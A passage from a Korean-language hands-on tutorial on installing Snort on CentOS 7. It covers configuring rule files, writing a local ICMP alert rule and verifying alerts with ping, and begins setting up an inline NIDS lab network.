           Copyright (C) 2014-2017 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.5.3
           Using PCRE version: 8.32 2012-11-30
           Using ZLIB version: 1.2.7


DAQ 는 기존 패킷 참조 방식을 대체 하는 역할을 하며, 더욱 쉽게 패킷 캡처를 구현하게 한다.
# snort --daq-list
Available DAQ modules:
pcap(v3): readback live multi unpriv
ipfw(v3): live inline multi unpriv
dump(v3): readback live inline multi unpriv
afpacket(v5): live inline multi unpriv

7. rule 다운로드
snort 제작사 Cisco에서는 snort가 최신 공격패턴을 탐지할 수 있도록 룰셋을 만들어서 배포하며 
룰셋은 커뮤니티 버전(무료), 일반가입자 버전(무료), 구독자 버전(유료) 3가지가 존재한다.
유료가입자는 기술 지원과 함께 바로 룰셋 업데이트를 적용 받지만 일반 사용자는 30일이 지난 후 
동일한 룰셋을 다운받을 수 있다.)
Community rules  : 커뮤니티 버전(무료)으로 누구나 다운로드 받을 수 있다.
Registered rules : 일반가입자 버전(무료)으로 회원등록 후 다운로드 받을 수 있다. 
Subscriber rules : 구독자 버전(유료)으로 비용을 지불해야 다운로드 받을 수 있다.

/etc/snort 디렉터리를 생성한다.
# mkdir /etc/snort
# cd /etc/snort
# cp ~/snort-2.9.11.1/etc/* .

snort 사이트에서 community rules 파일을 다운로드 받는다.
# yum -y install wget
# wget https://www.snort.org/downloads/community/community-rules.tar.gz 
# tar xzf community-rules.tar.gz 

룰 디렉토리를 생성한다.
# mkdir rules

화이트리스트 룰과 블랙리스트 룰 파일을 생성한다.
화이트리스트 룰 : 신뢰할 수 있는 룰(허용할 룰)을 설정하는 방식
블랙리스트 룰 : 신뢰하지 않는 룰(거부할 룰)을 설정하는 방식
# touch rules/white_list.rules
# touch rules/black_list.rules
# ls -l rules/
합계 0
-rw-r--r--. 1 root root 0  3월 17 12:16 black_list.rules
-rw-r--r--. 1 root root 0  3월 17 12:16 white_list.rules

8. 설정파일 수정
var HOME_NET : snort 에서 탐지할 목적지 ip 주소를 설정한다.(200.200.200.101/32)
var EXTERNAL_NET : snort 에서 탐지할 출발지 ip 주소를 설정한다.(any)
var RULE_PATH : 룰 파일이 저장된 디렉터리를 지정한다.

vim을 설치한다.
# yum -y install vim
# vim /etc/vimrc
  :
  :(생략)
set nu
set ai
set bg=dark
set sw=4
set ts=4
set expandtab
set cursorline
set fileencodings='utf8,euckr'

# alias vi=vim
# echo alias vi=vim >>  ~/.bashrc

/etc/snort/snort.conf 파일을 열어서 설정에 대한 내용을 수정한다.
# vi snort.conf
-- snort.conf --
  :
  :(생략)
#ipvar HOME_NET any  <-- 45번 라인
# 자신의 IP주소를 ifconfig 로 확인해서 HOME_NET에 설정한다.
ipvar HOME_NET 200.200.200.101/32

# Set up the external network addresses. Leave as "any" in most situations
ipvar EXTERNAL_NET any    
  :
  :(생략)
#var RULE_PATH ../rules  <-- 105번 라인
var RULE_PATH /etc/snort/rules  

#var SO_RULE_PATH ../so_rules
var SO_RULE_PATH /etc/snort/so_rules

#var WHITE_LIST_PATH ../rules  <-- 116번 라인
#var BLACK_LIST_PATH ../rules
var WHITE_LIST_PATH /etc/snort/rules
var BLACK_LIST_PATH /etc/snort/rules

# 551번 라인근처에 $RULE_PATH 부분
# local.rules 는 빼고 
# app-detect.rules ~ x11.rules 까지 나머지는 모두 주석으로 처리한다.
# vi 에서 한번에 주석처리하기 : 
# 사용법: :시작줄번호,끝줄번호s/^/#
# 스크립트로 작성하면 sed를 이용해서 자동화 처리를 이용할 수도 있다.
# 라인 번호는 각자 다를 수 있기 때문에 자신의 라인번호를 확인한다.
# app-detect.rules가 553라인이고 x11.rules가 656라인 이라고 가정하고
# 553라인 ~ 656라인까지 주석으로 막아준다.
# :553,656s/^/#
include $RULE_PATH/local.rules

#include $RULE_PATH/app-detect.rules
  : 
  : 나머지 룰 파일들을 모두 주석으로 처리한다.
#include $RULE_PATH/x11.rules

###################################################
# Step #8: Customize your preprocessor and decoder alerts
# For more information, see README.decoder_preproc_rules
###################################################
  :
  :(생략)
-- snort.conf --

/etc/snort/rules/local.rules 파일을 생성한다.
# touch /etc/snort/rules/local.rules

9. 사용자 계정 추가 및 권한설정
snort 를 실행할 사용자를 생성하고 /etc/snort 디렉토리는 snort 사용자만 접근할
수 있게 허가권의 접근 권한을 설정한다.
 -u 40000: UID 40000
 -d /var/log/snort: 홈디렉터리 
 -s /sbin/nologin: 셸 
 -c SNORT_IDS: 설명문
# useradd snort -u 40000 -d /var/log/snort -s /sbin/nologin -c SNORT_IDS
# tail -1 /etc/passwd
snort:x:40000:40000:SNORT_IDS:/var/log/snort:/sbin/nologin

# chown -R snort:snort /etc/snort
# chmod 700 /etc/snort
# ls -ld /etc/snort
drwx------. 4 snort snort 4096  9월  1 19:23 /etc/snort/

10. 룰 주석설정
설정에 기본적으로 들어있는 룰중에서 없는 룰파일들은 주석으로 처리한다.
257번 라인 근처의 dynamicdetection 부분을 주석처리한다.
# vi snort.conf 
-- snort.conf --
  :
  :(생략)
# path to dynamic rules libraries
#dynamicdetection directory /usr/local/lib/snort_dynamicrules 
  :
  :(생략)
-- snort.conf --

11. snort 설정확인
설정파일 실패: 설정파일 테스트 후 Fatal Error, Quitting.. 메세지가 출력되고 종료된다.
설정파일 성공: 설정파일 테스트 후 Snort successfully validated the configuration! 메세지가 출력되고 종료된다.

자신의 인터페이스를 확인한 후 사용한다.
snort --help 옵션을 이용해서 도움말을 확인한다.
# snort --help 

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.9.11.1 GRE (Build 268)
   ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2017 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.4.0
           Using PCRE version: 7.8 2008-09-05
           Using ZLIB version: 1.2.3
  :
  :(생략)
  

-T : 테스트 옵션
-i : 인터페이스 옵션
-u : 사용자 옵션
-g : 그룹 옵션
-c : 설정파일 옵션
# snort -T -i ens33 -u snort -g snort -c /etc/snort/snort.conf
Running in Test mode

        --== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
  :
  :(생략)
Snort successfully validated the configuration!  <-- 이 메세지가 나오면 일단 설치와 설정은 성공이다!
Snort exiting

12. 스노트 룰 등록
local.rules 파일을 touch로 생성했으므로 그 안에 룰에 대한 설정 내용이 없기 때문에 이를 생성한다.
icmp 프로토콜이면 탐지하는 룰을 /etc/snort/rules/local.rules 파일에 저장한다.

# vi /etc/snort/rules/local.rules 

# alert: action
# icmp: protocol
# any: source IP
# any: source Port
# -> : direction operator
# any: destination IP
# any: destination Port
# ( rule option )
#alert icmp 200.200.200.1 any -> any any (msg:"ICMP ping test"; sid: 1000001;)
alert icmp any any -> any any (msg:"ICMP ping test"; sid: 1000001;)

snort를 실행한다.
옵션에 -T 가 없으면 테스트가 아니라 실제 IDS를 구동하는 상태가 된다.
snort 를 실행하면 멈춰있는 상태로 놔둔다.
-A console : 화면이 출력
-i : 인터페이스 옵션
-u : 사용자 옵션
-g : 그룹 옵션
-c : 설정파일 옵션
-q : 조용히
# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 


Host OS에서 CentOS7(으)로 ping test를 한다.
C:\Users\user1>ping 200.200.200.101

Ping 200.200.200.101 32바이트 데이터 사용:
200.200.200.101의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간=1ms TTL=64

200.200.200.101에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 1ms, 평균 = 0ms

아래처럼 로그에 기록되면 정상적으로 snort가 동작이 되는 것이다.
# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 
03/03-14:19:51.661558  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/03-14:19:51.661599  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/03-14:19:52.678630  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/03-14:19:52.678681  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/03-14:19:53.692494  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/03-14:19:53.692524  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/03-14:19:54.707927  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/03-14:19:54.707962  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1

^C <-- 중지한다.

13. 로그 확인
로그 디렉터리에 로그파일을 확인한다. 
# ls -l   /var/log/snort/
합계 0
-rw-------. 1 snort snort 744  3월  3 14:19 snort.log.1646284778

실습> local.rules 수정

1. 첫 번째 설정
[200.200.200.1] <---------> [snort] <---------> [200.200.200.101]
alert icmp any any -> any any (msg:"ICMP ping test"; sid: 1000001;)

콘솔에 남겨진 로그
10/14-15:16:53.002537  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:16:53.002562  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
10/14-15:16:54.010514  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:16:54.010548  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
10/14-15:16:55.020729  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:16:55.020749  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
10/14-15:16:56.029028  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:16:56.029049  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1

2. 두 번째 설정
[200.200.200.1] ----------> [snort] ---------> [200.200.200.101]
alert icmp 200.200.200.1 any -> any any (msg:"ICMP ping test"; sid: 1000001;)

10/14-15:18:03.117855  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:18:04.131175  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:18:05.140291  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:18:06.150892  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101

3. 세 번째 설정
[200.200.200.1] <---------- [snort] <--------- [200.200.200.101]
alert icmp 200.200.200.101 any -> any any (msg:"ICMP ping test"; sid: 1000001;)

10/14-15:18:36.605380  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
10/14-15:18:37.623441  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
10/14-15:18:38.633591  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
10/14-15:18:39.654005  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1

실습> Kali에서 snort 설치하기

[root@kali ~]# cat /etc/resolv.conf 
# Generated by NetworkManager
nameserver 168.126.63.1

[root@kali ~]# cd
[root@kali ~]# mv /etc/apt/sources.list .
[root@kali ~]# cat << EOF >  /etc/apt/sources.list
deb http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse

deb http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse

deb http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse

deb http://archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse

deb http://archive.canonical.com/ubuntu focal partner
deb-src http://archive.canonical.com/ubuntu focal partner
EOF

[root@kali ~]# apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3B4FE6ACC0B21F32
[root@kali ~]# apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 871920D1991BC93C
[root@kali ~]# apt update

1. snort 설치
snort 를 설치한다.
[root@kali ~]# apt -y install snort

2. rule 파일 복사
[root@kali ~]# tar czf rules.tar.gz /etc/snort/rules

3. rules 파일 원격 복사
[root@kali ~]# scp rules.tar.gz 200.200.200.101:

실습> rules 파일 수정

/etc/snort/snort.conf 에서 rules 파일이 있는 것을 확인하고 주석을 제거한다.

200.200.200.101 에서 작업한다.

1. 룰 파일 주석 제거
Kali Linux에서 다운로드 받은 룰 파일의 리스트를 rules.txt 파일로 한 줄로 저장한다.
[root@localhost ~]# tar xzf rules.tar.gz 
[root@localhost ~]# ls rules -1 > rules.txt

두 개의 파일을 열어서 주석을 하나하나 제거한다.
- /etc/snort/snort.conf, rules.txt
[root@localhost ~]# vi /etc/snort/snort.conf 

:vs rules.txt
553번 라인으로 이동해서 룰 파일의 주석을 제거해야 한다.

###################################################
# Step #7: Customize your rule set
# For more information, see Snort Manual, Writing Snort Rules
#
# NOTE: All categories are enabled in this conf file
###################################################

# site specific rules
include $RULE_PATH/local.rules

#include $RULE_PATH/app-detect.rules
include $RULE_PATH/attack-responses.rules
include $RULE_PATH/backdoor.rules
include $RULE_PATH/bad-traffic.rules
#include $RULE_PATH/blacklist.rules
#include $RULE_PATH/botnet-cnc.rules
#include $RULE_PATH/browser-chrome.rules
#include $RULE_PATH/browser-firefox.rules
#include $RULE_PATH/browser-ie.rules
#include $RULE_PATH/browser-other.rules
#include $RULE_PATH/browser-plugins.rules
#include $RULE_PATH/browser-webkit.rules
include $RULE_PATH/chat.rules
#include $RULE_PATH/content-replace.rules
include $RULE_PATH/ddos.rules
include $RULE_PATH/dns.rules
include $RULE_PATH/dos.rules
include $RULE_PATH/experimental.rules
#include $RULE_PATH/exploit-kit.rules
include $RULE_PATH/exploit.rules
#include $RULE_PATH/file-executable.rules
#include $RULE_PATH/file-flash.rules
#include $RULE_PATH/file-identify.rules
#include $RULE_PATH/file-image.rules
#include $RULE_PATH/file-multimedia.rules
#include $RULE_PATH/file-office.rules
#include $RULE_PATH/file-other.rules
#include $RULE_PATH/file-pdf.rules
include $RULE_PATH/finger.rules
include $RULE_PATH/ftp.rules
include $RULE_PATH/icmp-info.rules
include $RULE_PATH/icmp.rules
include $RULE_PATH/imap.rules
#include $RULE_PATH/indicator-compromise.rules
#include $RULE_PATH/indicator-obfuscation.rules
#include $RULE_PATH/indicator-shellcode.rules
include $RULE_PATH/info.rules
#include $RULE_PATH/malware-backdoor.rules
#include $RULE_PATH/malware-cnc.rules
#include $RULE_PATH/malware-other.rules
#include $RULE_PATH/malware-tools.rules
include $RULE_PATH/misc.rules
include $RULE_PATH/multimedia.rules
include $RULE_PATH/mysql.rules
include $RULE_PATH/netbios.rules
include $RULE_PATH/nntp.rules
include $RULE_PATH/oracle.rules
#include $RULE_PATH/os-linux.rules
#include $RULE_PATH/os-other.rules
#include $RULE_PATH/os-solaris.rules
#include $RULE_PATH/os-windows.rules
include $RULE_PATH/other-ids.rules
include $RULE_PATH/p2p.rules
#include $RULE_PATH/phishing-spam.rules
#include $RULE_PATH/policy-multimedia.rules
#include $RULE_PATH/policy-other.rules
include $RULE_PATH/policy.rules
#include $RULE_PATH/policy-social.rules
#include $RULE_PATH/policy-spam.rules
include $RULE_PATH/pop2.rules
include $RULE_PATH/pop3.rules
#include $RULE_PATH/protocol-finger.rules
#include $RULE_PATH/protocol-ftp.rules
#include $RULE_PATH/protocol-icmp.rules
#include $RULE_PATH/protocol-imap.rules
#include $RULE_PATH/protocol-pop.rules
#include $RULE_PATH/protocol-services.rules
#include $RULE_PATH/protocol-voip.rules
#include $RULE_PATH/pua-adware.rules
#include $RULE_PATH/pua-other.rules
#include $RULE_PATH/pua-p2p.rules
#include $RULE_PATH/pua-toolbars.rules
include $RULE_PATH/rpc.rules
include $RULE_PATH/rservices.rules
#include $RULE_PATH/scada.rules
include $RULE_PATH/scan.rules
#include $RULE_PATH/server-apache.rules
#include $RULE_PATH/server-iis.rules
#include $RULE_PATH/server-mail.rules
#include $RULE_PATH/server-mssql.rules
#include $RULE_PATH/server-mysql.rules
#include $RULE_PATH/server-oracle.rules
#include $RULE_PATH/server-other.rules
#include $RULE_PATH/server-webapp.rules
#include $RULE_PATH/shellcode.rules    <-- 다른 것과 겹치는 부분 때문에 주석처리한 것이다.
include $RULE_PATH/smtp.rules
include $RULE_PATH/snmp.rules
#include $RULE_PATH/specific-threats.rules
#include $RULE_PATH/spyware-put.rules
include $RULE_PATH/sql.rules
include $RULE_PATH/telnet.rules
include $RULE_PATH/tftp.rules
include $RULE_PATH/virus.rules
#include $RULE_PATH/voip.rules
#include $RULE_PATH/web-activex.rules
include $RULE_PATH/web-attacks.rules
include $RULE_PATH/web-cgi.rules
include $RULE_PATH/web-client.rules
include $RULE_PATH/web-coldfusion.rules
include $RULE_PATH/web-frontpage.rules
include $RULE_PATH/web-iis.rules
include $RULE_PATH/web-misc.rules
include $RULE_PATH/web-php.rules
include $RULE_PATH/x11.rules

2. 룰 파일 복사
압축해제한 rules 디렉터리에서 룰 파일들을 /etc/snort/rules/ 디렉터리 복사한다.
이때 local.rules 만 빼고 복사한다.
local.rules: 사용자가 직접 만드는 룰이 이 파일에 저장된다.
[root@localhost ~]# cp rules/* /etc/snort/rules/
cp: overwrite `/etc/snort/rules/local.rules'? n

3. 설정 테스트
-T 옵션을 이용해서 snort 설정 테스트를 했을 때 
Snort successfully validated the configuration! 메세지가 나오면 룰에 문제가 없다라는 의미이다.
[root@localhost ~]# snort -T -i ens33 -u snort -g snort -c /etc/snort/snort.conf
  :
  :
Snort successfully validated the configuration!
Snort exiting

4. snort 실행
룰 파일의 테스트가 완료되면 snort 를 실행한다.
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 

5. 룰 파일 확인
다른 터미널을 열어서 /etc/snort/rules/backdoor.rules 파일을 확인한다.
[root@localhost ~]# vi /etc/snort/rules/backdoor.rules
  :
  :(생략)

:q

6. snort 실행
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 

C:\Users\user>ping 200.200.200.101

Ping 200.200.200.101 32바이트 데이터 사용:
200.200.200.101의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간=1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간<1ms TTL=64

200.200.200.101에 대한 Ping 통계:
    패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
    최소 = 0ms, 최대 = 1ms, 평균 = 0ms

Kali Linux에서 가져온 룰을 설정한 후 확인하면 아래처럼 ICMP PING Windows 부분이 추가된다.
ICMP 프로토콜이 오면 ICMP PING Windows가 기록되게 설정되어 있는 것이다.
여기서는 이 부분을 확인해서 주석으로 처리할 것이다.
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 
03/17-16:13:09.513584  [**] [1:382:8] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:09.513584  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:09.513584  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:09.513608  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/17-16:13:10.519165  [**] [1:382:8] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:10.519165  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:10.519165  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:10.519246  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/17-16:13:11.525624  [**] [1:382:8] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:11.525624  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:11.525624  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:11.525654  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/17-16:13:12.531524  [**] [1:382:8] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:12.531524  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:12.531524  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:12.531575  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1

^C

룰 디렉터리에서 확인했더니 /etc/snort/rules/icmp-info.rules 파일에 들어있는 것을 확인했고
이 파일을 열어서 주석처리 한다.
[root@localhost ~]# grep 'ICMP PING Windows' /etc/snort/rules/*
/etc/snort/rules/icmp-info.rules:alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Windows"; itype:8; content:"abcdefghijklmnop"; depth:16; reference:arachnids,169; classtype:misc-activity; sid:382; rev:8;)

47번 라인에 ICMP PING Windows
[root@localhost ~]# vi /etc/snort/rules/icmp-info.rules 
 46 alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Sun Solaris"; dsize:8; itype:8; reference:arachnids,448; classtype:mi    sc-activity; sid:381; rev:6;)
 47 #alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Windows"; itype:8; content:"abcdefghijklmnop"; depth:16; reference:a    rachnids,169; classtype:misc-activity; sid:382; rev:8;)                                      
 48 alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP traceroute"; itype:8; ttl:1; reference:arachnids,118; classtype:attempted-    recon; sid:385; rev:4;)

주석처리한 후 다시 실행하고 확인한다.
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 

C:\Users\user>ping 200.200.200.101

다른 룰이 있어서 ICMP PING 메세지가 출력된 것이다.
여기서는 더이상 수정하지 않을 것이다.
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf 
03/17-16:21:44.918909  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:44.918909  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:44.918934  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/17-16:21:45.933652  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:45.933652  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:45.933692  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/17-16:21:46.939781  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:46.939781  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:46.939801  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/17-16:21:47.945766  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:47.945766  [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:47.945801  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
^C

rev:1; (리비전)을 추가한다.
[root@localhost ~]# cat /etc/snort/rules/local.rules 
alert icmp any any -> any any (msg:"ICMP ping test"; sid: 1000001; rev:1;)

실습> NIDS 설치하기

네트워크 구성도

 [외부망(internet)]
  |
  200.200.200.2
                                        DNAT
              200.200.200.101 ---------------------> 192.168.101.101
                        
                          Inline 방식(패킷이 NIDS를 통과한다.)
  [PC]--------------------[F/W(NIDS)]---------------[WEB#1]
   |                         |   |                    |
   |     200.200.200.0/24    |   |  192.168.101.0/24  |
   |         VMnet8          |   |       VMnet1       |
   |                         |   |                    |
  200.200.200.1            .13  .253                .101
               200.200.200.101 <--------------------- 192.168.101.101
                                        SNAT

CentOS를 새로 설치할것!

배포판: CentOS 7
VMname: snortNIDS
VMnetwork: VMnet8 (NAT)
VMnetwork: VMnet1 (Host Only)
HDD: 기본값 20G
파티션: 자동 파티션
NIC#1(VMnet8) IP Address: 200.200.200.13/24
NIC#2(VMnet1) IP Address: 192.168.101.253/24
Gateway: 200.200.200.2
DNS: 168.126.63.1
[X] Automatically connect

배포판: CentOS 7
VMname: DMZWEB1
VMnetwork: VMnet1 (Host Only)
HDD: 기본값 20G
파티션: 자동 파티션
NIC#1(VMnet1) IP Address: 192.168.101.101/24
Gateway: 192.168.101.253
DNS: 168.126.63.1
[X] Automatically connect

1. 네트워크 설정
NIDS에서 네트워크를 설정한다.
# nmtui
프로파일 이름: ens33
IPv4 설정       <수동> 
주소: 200.200.200.13/24
게이트웨이: 200.200.200.2
DNS 서버: 168.126.63.1
[X] 자동으로 연결

프로파일 이름: ens34
IPv4 설정       <수동>   
주소: 192.168.101.253/24
[X] 자동으로 연결

호스트 이름: nids.linuxmaster.net

설정이 완료된 후 network을 재시작하지 말고 서버를 재부팅해서 로그인한다.
# reboot

200.200.200.13에 대한 내용을 /etc/hosts 파일에 등록한다.
[root@nids ~]# vi /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
200.200.200.13 nids.linuxmaster.net nids

네트워크 정보를 확인한다.
[root@nids ~]# hostname
nids.linuxmaster.net

[root@nids ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:94:f5:78 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.13/24 brd 200.200.200.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::776c:5740:1e06:43d/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
3: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:94:f5:82 brd ff:ff:ff:ff:ff:ff
    inet 192.168.101.253/24 brd 192.168.101.255 scope global noprefixroute ens34
       valid_lft forever preferred_lft forever
    inet6 fe80::bda9:e572:179:954d/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
[root@nids ~]# ip route
default via 200.200.200.2 dev ens33 proto static metric 100 
192.168.101.0/24 dev ens34 proto kernel scope link src 192.168.101.253 metric 101 
200.200.200.0/24 dev ens33 proto kernel scope link src 200.200.200.13 metric 100 


DMZ망에 있는 WEB#1에서 네트워크를 설정한다.
# nmtui
프로파일 이름: ens33
IPv4 설정       <수동> 
주소: 192.168.101.101/24
게이트웨이: 192.168.101.253
DNS 서버: 168.126.63.1
[X] 자동으로 연결

호스트 이름: web1.linuxmaster.net

설정이 완료된 후 network을 재시작하지 말고 서버를 재부팅해서 로그인한다.
# reboot

192.168.101.101에 대한 내용을 /etc/hosts 파일에 등록한다.
